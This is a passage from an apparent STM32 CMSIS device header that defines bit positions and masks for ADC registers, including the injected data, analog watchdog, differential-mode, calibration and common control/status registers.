(0x0200U << ADC_JDR3_JDATA_Pos) /*!< 0x00000200 */ #define ADC_JDR3_JDATA_10 (0x0400U << ADC_JDR3_JDATA_Pos) /*!< 0x00000400 */ #define ADC_JDR3_JDATA_11 (0x0800U << ADC_JDR3_JDATA_Pos) /*!< 0x00000800 */ #define ADC_JDR3_JDATA_12 (0x1000U << ADC_JDR3_JDATA_Pos) /*!< 0x00001000 */ #define ADC_JDR3_JDATA_13 (0x2000U << ADC_JDR3_JDATA_Pos) /*!< 0x00002000 */ #define ADC_JDR3_JDATA_14 (0x4000U << ADC_JDR3_JDATA_Pos) /*!< 0x00004000 */ #define ADC_JDR3_JDATA_15 (0x8000U << ADC_JDR3_JDATA_Pos) /*!< 0x00008000 */ /******************** Bit definition for ADC_JDR4 register ******************/ #define ADC_JDR4_JDATA_Pos (0U) #define ADC_JDR4_JDATA_Msk (0xFFFFU << ADC_JDR4_JDATA_Pos) /*!< 0x0000FFFF */ #define ADC_JDR4_JDATA ADC_JDR4_JDATA_Msk /*!< ADC group injected sequencer rank 4 conversion data */ #define ADC_JDR4_JDATA_0 (0x0001U << ADC_JDR4_JDATA_Pos) /*!< 0x00000001 */ #define ADC_JDR4_JDATA_1 (0x0002U << ADC_JDR4_JDATA_Pos) /*!< 0x00000002 */ #define ADC_JDR4_JDATA_2 (0x0004U << ADC_JDR4_JDATA_Pos) /*!< 0x00000004 */ #define ADC_JDR4_JDATA_3 (0x0008U << ADC_JDR4_JDATA_Pos) /*!< 0x00000008 */ #define ADC_JDR4_JDATA_4 (0x0010U << ADC_JDR4_JDATA_Pos) /*!< 0x00000010 */ #define ADC_JDR4_JDATA_5 (0x0020U << ADC_JDR4_JDATA_Pos) /*!< 0x00000020 */ #define ADC_JDR4_JDATA_6 (0x0040U << ADC_JDR4_JDATA_Pos) /*!< 0x00000040 */ #define ADC_JDR4_JDATA_7 (0x0080U << ADC_JDR4_JDATA_Pos) /*!< 0x00000080 */ #define ADC_JDR4_JDATA_8 (0x0100U << ADC_JDR4_JDATA_Pos) /*!< 0x00000100 */ #define ADC_JDR4_JDATA_9 (0x0200U << ADC_JDR4_JDATA_Pos) /*!< 0x00000200 */ #define ADC_JDR4_JDATA_10 (0x0400U << ADC_JDR4_JDATA_Pos) /*!< 0x00000400 */ #define ADC_JDR4_JDATA_11 (0x0800U << ADC_JDR4_JDATA_Pos) /*!< 0x00000800 */ #define ADC_JDR4_JDATA_12 (0x1000U << ADC_JDR4_JDATA_Pos) /*!< 0x00001000 */ #define ADC_JDR4_JDATA_13 (0x2000U << ADC_JDR4_JDATA_Pos) /*!< 0x00002000 */ #define ADC_JDR4_JDATA_14 (0x4000U << ADC_JDR4_JDATA_Pos) /*!< 0x00004000 */ #define ADC_JDR4_JDATA_15 (0x8000U << ADC_JDR4_JDATA_Pos) /*!< 0x00008000 */ /******************** Bit definition for ADC_AWD2CR register ****************/ #define ADC_AWD2CR_AWD2CH_Pos (0U) #define ADC_AWD2CR_AWD2CH_Msk (0x7FFFFU << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x0007FFFF */ #define ADC_AWD2CR_AWD2CH ADC_AWD2CR_AWD2CH_Msk /*!< ADC analog watchdog 2 monitored channel selection */ #define ADC_AWD2CR_AWD2CH_0 (0x00001U << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000001 */ #define ADC_AWD2CR_AWD2CH_1 (0x00002U << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000002 */ #define ADC_AWD2CR_AWD2CH_2 (0x00004U << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000004 */ #define ADC_AWD2CR_AWD2CH_3 (0x00008U << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000008 */ #define ADC_AWD2CR_AWD2CH_4 (0x00010U << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000010 */ #define ADC_AWD2CR_AWD2CH_5 (0x00020U << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000020 */ #define ADC_AWD2CR_AWD2CH_6 (0x00040U << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000040 */ #define ADC_AWD2CR_AWD2CH_7 (0x00080U << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000080 */ #define ADC_AWD2CR_AWD2CH_8 (0x00100U << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000100 */ #define ADC_AWD2CR_AWD2CH_9 (0x00200U << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000200 */ #define ADC_AWD2CR_AWD2CH_10 (0x00400U << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000400 */ #define ADC_AWD2CR_AWD2CH_11 (0x00800U << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000800 */ #define ADC_AWD2CR_AWD2CH_12 (0x01000U << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00001000 */ #define ADC_AWD2CR_AWD2CH_13 (0x02000U << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00002000 */ #define ADC_AWD2CR_AWD2CH_14 (0x04000U << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00004000 */ #define ADC_AWD2CR_AWD2CH_15 (0x08000U << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00008000 */ #define ADC_AWD2CR_AWD2CH_16 (0x10000U << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00010000 */ #define ADC_AWD2CR_AWD2CH_17 (0x20000U << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00020000 */ #define ADC_AWD2CR_AWD2CH_18 (0x40000U << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00040000 */ /******************** Bit definition for ADC_AWD3CR register ****************/ #define ADC_AWD3CR_AWD3CH_Pos (0U) #define ADC_AWD3CR_AWD3CH_Msk (0x7FFFFU << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x0007FFFF */ #define ADC_AWD3CR_AWD3CH ADC_AWD3CR_AWD3CH_Msk /*!< ADC analog watchdog 3 monitored channel selection */ #define ADC_AWD3CR_AWD3CH_0 (0x00001U << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000001 */ #define ADC_AWD3CR_AWD3CH_1 (0x00002U << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000002 */ #define ADC_AWD3CR_AWD3CH_2 (0x00004U << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000004 */ #define ADC_AWD3CR_AWD3CH_3 (0x00008U << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000008 */ #define ADC_AWD3CR_AWD3CH_4 (0x00010U << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000010 */ #define ADC_AWD3CR_AWD3CH_5 (0x00020U << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000020 */ #define ADC_AWD3CR_AWD3CH_6 (0x00040U << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000040 */ #define ADC_AWD3CR_AWD3CH_7 (0x00080U << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000080 */ #define ADC_AWD3CR_AWD3CH_8 (0x00100U << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000100 */ #define ADC_AWD3CR_AWD3CH_9 (0x00200U << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000200 */ #define ADC_AWD3CR_AWD3CH_10 (0x00400U << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000400 */ #define ADC_AWD3CR_AWD3CH_11 (0x00800U << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000800 */ #define ADC_AWD3CR_AWD3CH_12 (0x01000U << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00001000 */ #define ADC_AWD3CR_AWD3CH_13 (0x02000U << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00002000 */ #define ADC_AWD3CR_AWD3CH_14 (0x04000U << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00004000 */ #define ADC_AWD3CR_AWD3CH_15 (0x08000U << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00008000 */ #define ADC_AWD3CR_AWD3CH_16 (0x10000U << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00010000 */ #define ADC_AWD3CR_AWD3CH_17 (0x20000U << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00020000 */ #define ADC_AWD3CR_AWD3CH_18 (0x40000U << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00040000 */ /******************** Bit definition for ADC_DIFSEL register ****************/ #define ADC_DIFSEL_DIFSEL_Pos (0U) #define ADC_DIFSEL_DIFSEL_Msk (0x7FFFFU << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x0007FFFF */ #define ADC_DIFSEL_DIFSEL ADC_DIFSEL_DIFSEL_Msk /*!< ADC channel differential or single-ended mode */ #define ADC_DIFSEL_DIFSEL_0 (0x00001U << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000001 */ #define ADC_DIFSEL_DIFSEL_1 (0x00002U << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000002 */ #define ADC_DIFSEL_DIFSEL_2 (0x00004U << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000004 */ #define ADC_DIFSEL_DIFSEL_3 (0x00008U << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000008 */ #define ADC_DIFSEL_DIFSEL_4 (0x00010U << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000010 */ #define ADC_DIFSEL_DIFSEL_5 (0x00020U << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000020 */ #define ADC_DIFSEL_DIFSEL_6 (0x00040U << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000040 */ #define ADC_DIFSEL_DIFSEL_7 (0x00080U << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000080 */ #define ADC_DIFSEL_DIFSEL_8 (0x00100U << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000100 */ #define ADC_DIFSEL_DIFSEL_9 (0x00200U << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000200 */ #define ADC_DIFSEL_DIFSEL_10 (0x00400U << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000400 */ #define ADC_DIFSEL_DIFSEL_11 (0x00800U << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000800 */ #define ADC_DIFSEL_DIFSEL_12 (0x01000U << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00001000 */ #define ADC_DIFSEL_DIFSEL_13 (0x02000U << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00002000 */ #define ADC_DIFSEL_DIFSEL_14 (0x04000U << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00004000 */ #define ADC_DIFSEL_DIFSEL_15 (0x08000U << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00008000 */ #define ADC_DIFSEL_DIFSEL_16 (0x10000U << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00010000 */ #define ADC_DIFSEL_DIFSEL_17 (0x20000U << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00020000 */ #define ADC_DIFSEL_DIFSEL_18 (0x40000U << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00040000 */ /******************** Bit definition for ADC_CALFACT register ***************/ #define ADC_CALFACT_CALFACT_S_Pos (0U) #define ADC_CALFACT_CALFACT_S_Msk (0x7FU << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x0000007F */ #define ADC_CALFACT_CALFACT_S ADC_CALFACT_CALFACT_S_Msk /*!< ADC calibration factor in single-ended mode */ #define ADC_CALFACT_CALFACT_S_0 (0x01U << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000001 */ #define ADC_CALFACT_CALFACT_S_1 (0x02U << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000002 */ #define ADC_CALFACT_CALFACT_S_2 (0x04U << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000004 */ #define ADC_CALFACT_CALFACT_S_3 (0x08U << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000008 */ #define ADC_CALFACT_CALFACT_S_4 (0x10U << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000010 */ #define ADC_CALFACT_CALFACT_S_5 (0x20U << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000020 */ #define ADC_CALFACT_CALFACT_S_6 (0x40U << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000040 */ #define ADC_CALFACT_CALFACT_D_Pos (16U) #define ADC_CALFACT_CALFACT_D_Msk (0x7FU << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x007F0000 */ #define ADC_CALFACT_CALFACT_D ADC_CALFACT_CALFACT_D_Msk /*!< ADC calibration factor in differential mode */ #define ADC_CALFACT_CALFACT_D_0 (0x01U << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00010000 */ #define ADC_CALFACT_CALFACT_D_1 (0x02U << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00020000 */ #define ADC_CALFACT_CALFACT_D_2 (0x04U << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00040000 */ #define ADC_CALFACT_CALFACT_D_3 (0x08U << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00080000 */ #define ADC_CALFACT_CALFACT_D_4 (0x10U << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00100000 */ #define ADC_CALFACT_CALFACT_D_5 (0x20U << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00200000 */ #define ADC_CALFACT_CALFACT_D_6 (0x40U << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00400000 */ /************************* ADC Common registers *****************************/ /*************** Bit definition for ADC12_COMMON_CSR register ***************/ #define ADC12_CSR_ADRDY_MST_Pos (0U) #define ADC12_CSR_ADRDY_MST_Msk (0x1U << ADC12_CSR_ADRDY_MST_Pos) /*!< 0x00000001 */ #define ADC12_CSR_ADRDY_MST ADC12_CSR_ADRDY_MST_Msk /*!< Master ADC ready */ #define ADC12_CSR_ADRDY_EOSMP_MST_Pos (1U) #define ADC12_CSR_ADRDY_EOSMP_MST_Msk (0x1U << ADC12_CSR_ADRDY_EOSMP_MST_Pos) /*!< 0x00000002 */ #define ADC12_CSR_ADRDY_EOSMP_MST ADC12_CSR_ADRDY_EOSMP_MST_Msk /*!< End of sampling phase flag of the master ADC */ #define ADC12_CSR_ADRDY_EOC_MST_Pos (2U) #define ADC12_CSR_ADRDY_EOC_MST_Msk (0x1U << ADC12_CSR_ADRDY_EOC_MST_Pos) /*!< 0x00000004 */ #define ADC12_CSR_ADRDY_EOC_MST ADC12_CSR_ADRDY_EOC_MST_Msk /*!< End of regular conversion of the master ADC */ #define ADC12_CSR_ADRDY_EOS_MST_Pos (3U) #define ADC12_CSR_ADRDY_EOS_MST_Msk (0x1U << ADC12_CSR_ADRDY_EOS_MST_Pos) /*!< 0x00000008 */ #define ADC12_CSR_ADRDY_EOS_MST ADC12_CSR_ADRDY_EOS_MST_Msk /*!< End of regular sequence flag of the master ADC */ #define ADC12_CSR_ADRDY_OVR_MST_Pos (4U) #define ADC12_CSR_ADRDY_OVR_MST_Msk (0x1U << ADC12_CSR_ADRDY_OVR_MST_Pos) /*!< 0x00000010 */ #define ADC12_CSR_ADRDY_OVR_MST ADC12_CSR_ADRDY_OVR_MST_Msk /*!< Overrun flag of the master ADC */ #define ADC12_CSR_ADRDY_JEOC_MST_Pos (5U) #define ADC12_CSR_ADRDY_JEOC_MST_Msk (0x1U << ADC12_CSR_ADRDY_JEOC_MST_Pos) /*!< 0x00000020 */ #define ADC12_CSR_ADRDY_JEOC_MST ADC12_CSR_ADRDY_JEOC_MST_Msk /*!< End of injected conversion of the master ADC */ #define ADC12_CSR_ADRDY_JEOS_MST_Pos (6U) #define ADC12_CSR_ADRDY_JEOS_MST_Msk (0x1U << ADC12_CSR_ADRDY_JEOS_MST_Pos) /*!< 0x00000040 */ #define ADC12_CSR_ADRDY_JEOS_MST ADC12_CSR_ADRDY_JEOS_MST_Msk /*!< End of injected sequence flag of the master ADC */ #define ADC12_CSR_AWD1_MST_Pos (7U) #define ADC12_CSR_AWD1_MST_Msk (0x1U << ADC12_CSR_AWD1_MST_Pos) /*!< 0x00000080 */ #define ADC12_CSR_AWD1_MST ADC12_CSR_AWD1_MST_Msk /*!< Analog watchdog 1 flag of the master ADC */ #define ADC12_CSR_AWD2_MST_Pos (8U) #define ADC12_CSR_AWD2_MST_Msk (0x1U << ADC12_CSR_AWD2_MST_Pos) /*!< 0x00000100 */ #define ADC12_CSR_AWD2_MST ADC12_CSR_AWD2_MST_Msk /*!< Analog watchdog 2 flag of the master ADC */ #define ADC12_CSR_AWD3_MST_Pos (9U) #define ADC12_CSR_AWD3_MST_Msk (0x1U << ADC12_CSR_AWD3_MST_Pos) /*!< 0x00000200 */ #define ADC12_CSR_AWD3_MST ADC12_CSR_AWD3_MST_Msk /*!< Analog watchdog 3 flag of the master ADC */ #define ADC12_CSR_JQOVF_MST_Pos (10U) #define ADC12_CSR_JQOVF_MST_Msk (0x1U << ADC12_CSR_JQOVF_MST_Pos) /*!< 0x00000400 */ #define ADC12_CSR_JQOVF_MST ADC12_CSR_JQOVF_MST_Msk /*!< Injected context queue overflow flag of the master ADC */ #define ADC12_CSR_ADRDY_SLV_Pos (16U) #define ADC12_CSR_ADRDY_SLV_Msk (0x1U << ADC12_CSR_ADRDY_SLV_Pos) /*!< 0x00010000 */ #define ADC12_CSR_ADRDY_SLV ADC12_CSR_ADRDY_SLV_Msk /*!< Slave ADC ready */ #define ADC12_CSR_ADRDY_EOSMP_SLV_Pos (17U) #define ADC12_CSR_ADRDY_EOSMP_SLV_Msk (0x1U << ADC12_CSR_ADRDY_EOSMP_SLV_Pos) /*!< 0x00020000 */ #define ADC12_CSR_ADRDY_EOSMP_SLV ADC12_CSR_ADRDY_EOSMP_SLV_Msk /*!< End of sampling phase flag of the slave ADC */ #define ADC12_CSR_ADRDY_EOC_SLV_Pos (18U) #define ADC12_CSR_ADRDY_EOC_SLV_Msk (0x1U << ADC12_CSR_ADRDY_EOC_SLV_Pos) /*!< 0x00040000 */ #define ADC12_CSR_ADRDY_EOC_SLV ADC12_CSR_ADRDY_EOC_SLV_Msk /*!< End of regular conversion of the slave ADC */ #define ADC12_CSR_ADRDY_EOS_SLV_Pos (19U) #define ADC12_CSR_ADRDY_EOS_SLV_Msk (0x1U << ADC12_CSR_ADRDY_EOS_SLV_Pos) /*!< 0x00080000 */ #define ADC12_CSR_ADRDY_EOS_SLV ADC12_CSR_ADRDY_EOS_SLV_Msk /*!< End of regular sequence flag of the slave ADC */ #define ADC12_CSR_ADRDY_OVR_SLV_Pos (20U) #define ADC12_CSR_ADRDY_OVR_SLV_Msk (0x1U << ADC12_CSR_ADRDY_OVR_SLV_Pos) /*!< 0x00100000 */ #define ADC12_CSR_ADRDY_OVR_SLV ADC12_CSR_ADRDY_OVR_SLV_Msk /*!< Overrun flag of the slave ADC */ #define ADC12_CSR_ADRDY_JEOC_SLV_Pos (21U) #define ADC12_CSR_ADRDY_JEOC_SLV_Msk (0x1U << ADC12_CSR_ADRDY_JEOC_SLV_Pos) /*!< 0x00200000 */ #define ADC12_CSR_ADRDY_JEOC_SLV ADC12_CSR_ADRDY_JEOC_SLV_Msk /*!< End of injected conversion of the slave ADC */ #define ADC12_CSR_ADRDY_JEOS_SLV_Pos (22U) #define ADC12_CSR_ADRDY_JEOS_SLV_Msk (0x1U << ADC12_CSR_ADRDY_JEOS_SLV_Pos) /*!< 0x00400000 */ #define ADC12_CSR_ADRDY_JEOS_SLV ADC12_CSR_ADRDY_JEOS_SLV_Msk /*!< End of injected sequence flag of the slave ADC */ #define ADC12_CSR_AWD1_SLV_Pos (23U) #define ADC12_CSR_AWD1_SLV_Msk (0x1U << ADC12_CSR_AWD1_SLV_Pos) /*!< 0x00800000 */ #define ADC12_CSR_AWD1_SLV ADC12_CSR_AWD1_SLV_Msk /*!< Analog watchdog 1 flag of the slave ADC */ #define ADC12_CSR_AWD2_SLV_Pos (24U) #define ADC12_CSR_AWD2_SLV_Msk (0x1U << ADC12_CSR_AWD2_SLV_Pos) /*!< 0x01000000 */ #define ADC12_CSR_AWD2_SLV ADC12_CSR_AWD2_SLV_Msk /*!< Analog watchdog 2 flag of the slave ADC */ #define ADC12_CSR_AWD3_SLV_Pos (25U) #define ADC12_CSR_AWD3_SLV_Msk (0x1U << ADC12_CSR_AWD3_SLV_Pos) /*!< 0x02000000 */ #define ADC12_CSR_AWD3_SLV ADC12_CSR_AWD3_SLV_Msk /*!< Analog watchdog 3 flag of the slave ADC */ #define ADC12_CSR_JQOVF_SLV_Pos (26U) #define ADC12_CSR_JQOVF_SLV_Msk (0x1U << ADC12_CSR_JQOVF_SLV_Pos) /*!< 0x04000000 */ #define ADC12_CSR_JQOVF_SLV ADC12_CSR_JQOVF_SLV_Msk /*!< Injected context queue overflow flag of the slave ADC */ /*************** Bit definition for ADC12_COMMON_CCR register ***************/ #define ADC12_CCR_MULTI_Pos (0U) #define ADC12_CCR_MULTI_Msk (0x1FU << ADC12_CCR_MULTI_Pos) /*!< 0x0000001F */ #define ADC12_CCR_MULTI ADC12_CCR_MULTI_Msk /*!< Multi ADC mode selection */ #define ADC12_CCR_MULTI_0 (0x01U << ADC12_CCR_MULTI_Pos) /*!< 0x00000001 */ #define ADC12_CCR_MULTI_1 (0x02U << ADC12_CCR_MULTI_Pos) /*!< 0x00000002 */ #define ADC12_CCR_MULTI_2 (0x04U << ADC12_CCR_MULTI_Pos) /*!< 0x00000004 */ #define ADC12_CCR_MULTI_3 (0x08U << ADC12_CCR_MULTI_Pos) /*!< 0x00000008 */ #define ADC12_CCR_MULTI_4 (0x10U << ADC12_CCR_MULTI_Pos) /*!< 0x00000010 */ #define ADC12_CCR_DELAY_Pos (8U) #define ADC12_CCR_DELAY_Msk (0xFU << ADC12_CCR_DELAY_Pos) /*!< 0x00000F00 */ #define ADC12_CCR_DELAY ADC12_CCR_DELAY_Msk /*!< Delay between 2 sampling phases */ #define ADC12_CCR_DELAY_0 (0x1U << ADC12_CCR_DELAY_Pos) /*!< 0x00000100 */ #define ADC12_CCR_DELAY_1 (0x2U << ADC12_CCR_DELAY_Pos) /*!< 0x00000200 */ #define ADC12_CCR_DELAY_2 (0x4U << ADC12_CCR_DELAY_Pos) /*!< 0x00000400 */ #define ADC12_CCR_DELAY_3 (0x8U << ADC12_CCR_DELAY_Pos) /*!< 0x00000800 */ #define ADC12_CCR_DMACFG_Pos (13U) #define ADC12_CCR_DMACFG_Msk (0x1U << ADC12_CCR_DMACFG_Pos) /*!< 0x00002000 */ #define ADC12_CCR_DMACFG ADC12_CCR_DMACFG_Msk /*!< DMA configuration for multi-ADC mode */ #define ADC12_CCR_MDMA_Pos (14U) #define ADC12_CCR_MDMA_Msk (0x3U << ADC12_CCR_MDMA_Pos) /*!< 0x0000C000 */ #define ADC12_CCR_MDMA ADC12_CCR_MDMA_Msk /*!< DMA mode for multi-ADC mode */ #define ADC12_CCR_MDMA_0 (0x1U << ADC12_CCR_MDMA_Pos) /*!< 0x00004000 */ #define ADC12_CCR_MDMA_1 (0x2U << ADC12_CCR_MDMA_Pos) /*!< 0x00008000 */ #define ADC12_CCR_CKMODE_Pos (16U) #define ADC12_CCR_CKMODE_Msk (0x3U << ADC12_CCR_CKMODE_Pos) /*!< 0x00030000 */ #define ADC12_CCR_CKMODE ADC12_CCR_CKMODE_Msk /*!< ADC clock mode */ #define ADC12_CCR_CKMODE_0 (0x1U << ADC12_CCR_CKMODE_Pos) /*!< 0x00010000 */ #define ADC12_CCR_CKMODE_1 (0x2U << ADC12_CCR_CKMODE_Pos) /*!< 0x00020000 */ #define ADC12_CCR_VREFEN_Pos (22U) #define ADC12_CCR_VREFEN_Msk (0x1U << ADC12_CCR_VREFEN_Pos) /*!< 0x00400000 */ #define ADC12_CCR_VREFEN ADC12_CCR_VREFEN_Msk /*!< VREFINT enable */ #define ADC12_CCR_TSEN_Pos (23U) #define ADC12_CCR_TSEN_Msk (0x1U << ADC12_CCR_TSEN_Pos) /*!< 0x00800000 */ #define ADC12_CCR_TSEN ADC12_CCR_TSEN_Msk /*!< Temperature sensor enable */ #define ADC12_CCR_VBATEN_Pos (24U) #define ADC12_CCR_VBATEN_Msk (0x1U << ADC12_CCR_VBATEN_Pos) /*!< 0x01000000 */ #define ADC12_CCR_VBATEN ADC12_CCR_VBATEN_Msk /*!< VBAT enable */ /*************** Bit definition for ADC12_COMMON_CDR register ***************/ #define ADC12_CDR_RDATA_MST_Pos (0U) #define ADC12_CDR_RDATA_MST_Msk (0xFFFFU << ADC12_CDR_RDATA_MST_Pos) /*!< 0x0000FFFF */ #define ADC12_CDR_RDATA_MST ADC12_CDR_RDATA_MST_Msk /*!< Regular Data of the master ADC */ #define ADC12_CDR_RDATA_MST_0 (0x0001U << ADC12_CDR_RDATA_MST_Pos) /*!< 0x00000001 */ #define ADC12_CDR_RDATA_MST_1 (0x0002U << ADC12_CDR_RDATA_MST_Pos) /*!< 0x00000002 */ #define ADC12_CDR_RDATA_MST_2 (0x0004U << ADC12_CDR_RDATA_MST_Pos) /*!< 0x00000004 */ #define ADC12_CDR_RDATA_MST_3 (0x0008U << ADC12_CDR_RDATA_MST_Pos) /*!< 0x00000008 */ #define ADC12_CDR_RDATA_MST_4 (0x0010U << ADC12_CDR_RDATA_MST_Pos) /*!< 0x00000010 */ #define ADC12_CDR_RDATA_MST_5 (0x0020U << ADC12_CDR_RDATA_MST_Pos) /*!< 0x00000020 */ #define ADC12_CDR_RDATA_MST_6 (0x0040U << ADC12_CDR_RDATA_MST_Pos) /*!< 0x00000040 */ #define ADC12_CDR_RDATA_MST_7 (0x0080U << ADC12_CDR_RDATA_MST_Pos) /*!< 0x00000080 */ #define ADC12_CDR_RDATA_MST_8 (0x0100U << ADC12_CDR_RDATA_MST_Pos) /*!< 0x00000100 */ #define ADC12_CDR_RDATA_MST_9 (0x0200U << ADC12_CDR_RDATA_MST_Pos) /*!< 0x00000200 */ #define ADC12_CDR_RDATA_MST_10 (0x0400U << ADC12_CDR_RDATA_MST_Pos) /*!< 0x00000400 */ #define ADC12_CDR_RDATA_MST_11 (0x0800U << ADC12_CDR_RDATA_MST_Pos) /*!< 0x00000800 */ #define ADC12_CDR_RDATA_MST_12 (0x1000U << ADC12_CDR_RDATA_MST_Pos) /*!< 0x00001000 */ #define ADC12_CDR_RDATA_MST_13 (0x2000U << ADC12_CDR_RDATA_MST_Pos) /*!< 0x00002000 */ #define ADC12_CDR_RDATA_MST_14 (0x4000U << ADC12_CDR_RDATA_MST_Pos) /*!< 0x00004000 */ #define ADC12_CDR_RDATA_MST_15 (0x8000U << ADC12_CDR_RDATA_MST_Pos) /*!< 0x00008000 */ #define ADC12_CDR_RDATA_SLV_Pos (16U) #define ADC12_CDR_RDATA_SLV_Msk (0xFFFFU << ADC12_CDR_RDATA_SLV_Pos) /*!< 0xFFFF0000 */ #define ADC12_CDR_RDATA_SLV ADC12_CDR_RDATA_SLV_Msk /*!< Regular Data of the master ADC */ #define ADC12_CDR_RDATA_SLV_0 (0x0001U << ADC12_CDR_RDATA_SLV_Pos) /*!< 0x00010000 */ #define ADC12_CDR_RDATA_SLV_1 (0x0002U << ADC12_CDR_RDATA_SLV_Pos) /*!< 0x00020000 */ #define ADC12_CDR_RDATA_SLV_2 (0x0004U << ADC12_CDR_RDATA_SLV_Pos) /*!< 0x00040000 */ #define ADC12_CDR_RDATA_SLV_3 (0x0008U << ADC12_CDR_RDATA_SLV_Pos) /*!< 0x00080000 */ #define ADC12_CDR_RDATA_SLV_4 (0x0010U << ADC12_CDR_RDATA_SLV_Pos) /*!< 0x00100000 */ #define ADC12_CDR_RDATA_SLV_5 (0x0020U << ADC12_CDR_RDATA_SLV_Pos) /*!< 0x00200000 */ #define ADC12_CDR_RDATA_SLV_6 (0x0040U << ADC12_CDR_RDATA_SLV_Pos) /*!< 0x00400000 */ #define ADC12_CDR_RDATA_SLV_7 (0x0080U << ADC12_CDR_RDATA_SLV_Pos) /*!< 0x00800000 */ #define ADC12_CDR_RDATA_SLV_8 (0x0100U << ADC12_CDR_RDATA_SLV_Pos) /*!< 0x01000000 */ #define ADC12_CDR_RDATA_SLV_9 (0x0200U << ADC12_CDR_RDATA_SLV_Pos) /*!< 0x02000000 */ #define ADC12_CDR_RDATA_SLV_10 (0x0400U << ADC12_CDR_RDATA_SLV_Pos) /*!< 0x04000000 */ #define ADC12_CDR_RDATA_SLV_11 (0x0800U << ADC12_CDR_RDATA_SLV_Pos) /*!< 0x08000000 */ #define ADC12_CDR_RDATA_SLV_12 (0x1000U << ADC12_CDR_RDATA_SLV_Pos) /*!< 0x10000000 */ #define ADC12_CDR_RDATA_SLV_13 (0x2000U << ADC12_CDR_RDATA_SLV_Pos) /*!< 0x20000000 */ #define ADC12_CDR_RDATA_SLV_14 (0x4000U << ADC12_CDR_RDATA_SLV_Pos) /*!< 0x40000000 */ #define ADC12_CDR_RDATA_SLV_15 (0x8000U << ADC12_CDR_RDATA_SLV_Pos) /*!< 0x80000000 */ /******************** Bit definition for ADC_CSR register *******************/ #define ADC_CSR_ADRDY_MST_Pos (0U) #define ADC_CSR_ADRDY_MST_Msk (0x1U << ADC_CSR_ADRDY_MST_Pos) /*!< 0x00000001 */ #define ADC_CSR_ADRDY_MST ADC_CSR_ADRDY_MST_Msk /*!< ADC multimode master ready flag */ #define ADC_CSR_EOSMP_MST_Pos (1U) #define ADC_CSR_EOSMP_MST_Msk (0x1U << ADC_CSR_EOSMP_MST_Pos) /*!< 0x00000002 */ #define ADC_CSR_EOSMP_MST ADC_CSR_EOSMP_MST_Msk /*!< ADC multimode master group regular end of sampling 